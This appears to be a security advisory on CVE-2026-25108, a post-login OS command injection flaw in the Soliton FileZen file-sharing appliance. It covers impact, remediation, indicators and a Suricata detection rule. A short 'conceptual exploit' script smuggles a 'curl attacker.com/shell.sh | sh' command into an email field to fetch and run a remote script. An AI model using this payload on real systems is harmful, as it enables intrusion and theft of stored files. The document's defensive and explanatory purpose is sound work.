CVE-2026-25108: Soliton FileZen -- OS Command Injection via HTTP Request

Background

Soliton FileZen is a file sharing and secure file transfer appliance manufactured by Japanese vendor Soliton Systems K.K., primarily used by enterprises in Japan and the Asia-Pacific region for secure large file transfers and document sharing. File sharing appliances are internet-facing by design, creating inherent exposure to network-based attacks.

CVE-2026-25108 is an OS command injection vulnerability (CWE-78) in FileZen that is triggered by a specially crafted HTTP request sent after user login. CISA added this to the KEV catalog on 2026-02-24, indicating active exploitation in the wild.

File sharing appliances hold sensitive corporate documents and facilitate data exchange with external parties, making them high-value targets. Nation-state actors have previously targeted Soliton FileZen — CVE-2021-20655 (another FileZen vulnerability) was exploited by a Chinese APT targeting Japanese entities. This new CVE continues the pattern of FileZen being targeted in espionage campaigns.

Technical Mechanism

CWE-78 (OS Command Injection) in FileZen occurs when user-supplied data from an HTTP request is passed unsanitized to a system shell command. The vulnerability is triggered after authentication, suggesting the injection point is within post-login functionality such as file management, notification settings, or administrative configuration.

# Conceptual exploit: post-login command injection in FileZen
import requests

# Authenticate first
session = requests.Session()
session.post("https://filezen.company.com/login",
             data={"username": "user", "password": "password"})

# Inject command via crafted HTTP parameter
payload = {
    "notify_email": "[email protected]; curl http://attacker.com/shell.sh | sh #"
}
session.post("https://filezen.company.com/settings/notifications", data=payload)

The injected shell command executes with the privileges of the FileZen web application process, typically a service user with significant file system access permissions.

Real-World Exploitation Evidence

CISA’s KEV listing confirms active exploitation. Previous FileZen vulnerabilities were exploited by Chinese APT groups targeting Japanese government agencies, defense contractors, and critical infrastructure operators. The injection-after-login requirement means valid credentials are needed, but credential theft via phishing or brute force is a common precursor. Post-exploitation of file sharing appliances typically focuses on exfiltrating stored files, establishing persistent backdoors, and pivoting to connected corporate networks.

Impact Assessment

• Remote code execution on the FileZen appliance after authentication
• Access to all files stored on or transiting through the FileZen system
• Persistent backdoor installation on the appliance
• Potential exfiltration of sensitive corporate documents
• Pivot to connected enterprise network from the appliance

Affected Versions

Remediation Steps

1. Apply Soliton’s security patch for CVE-2026-25108 immediately.
2. Restrict FileZen access to known, trusted IP addresses via firewall rules.
3. Enable multi-factor authentication for all FileZen user accounts.
4. Review FileZen access logs for anomalous POST requests with shell metacharacters.
5. Audit stored files for unexpected additions that could represent uploaded tools.
6. Rotate credentials for all FileZen user accounts.

Detection Guidance

Log Sources: FileZen web server logs, system syslog, network flow data.

IOCs: POST requests to FileZen containing shell metacharacters (;, |, `) in parameter values; unexpected outbound connections from the FileZen appliance; new processes spawned from the web service.

Suricata rule:

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"ET EXPLOIT Soliton FileZen Command Injection CVE-2026-25108";
  flow:established,to_server;
  content:"POST"; http_method;
  content:"FileZen"; http_header;
  pcre:"/=[^&]*[\;\|\`\$\(\)]/U";
  classtype:web-application-attack;
  sid:2099013; rev:1;
)

Timeline

References

• NVD — CVE-2026-25108
• CISA KEV — CVE-2026-25108
• MITRE CVE — CVE-2026-25108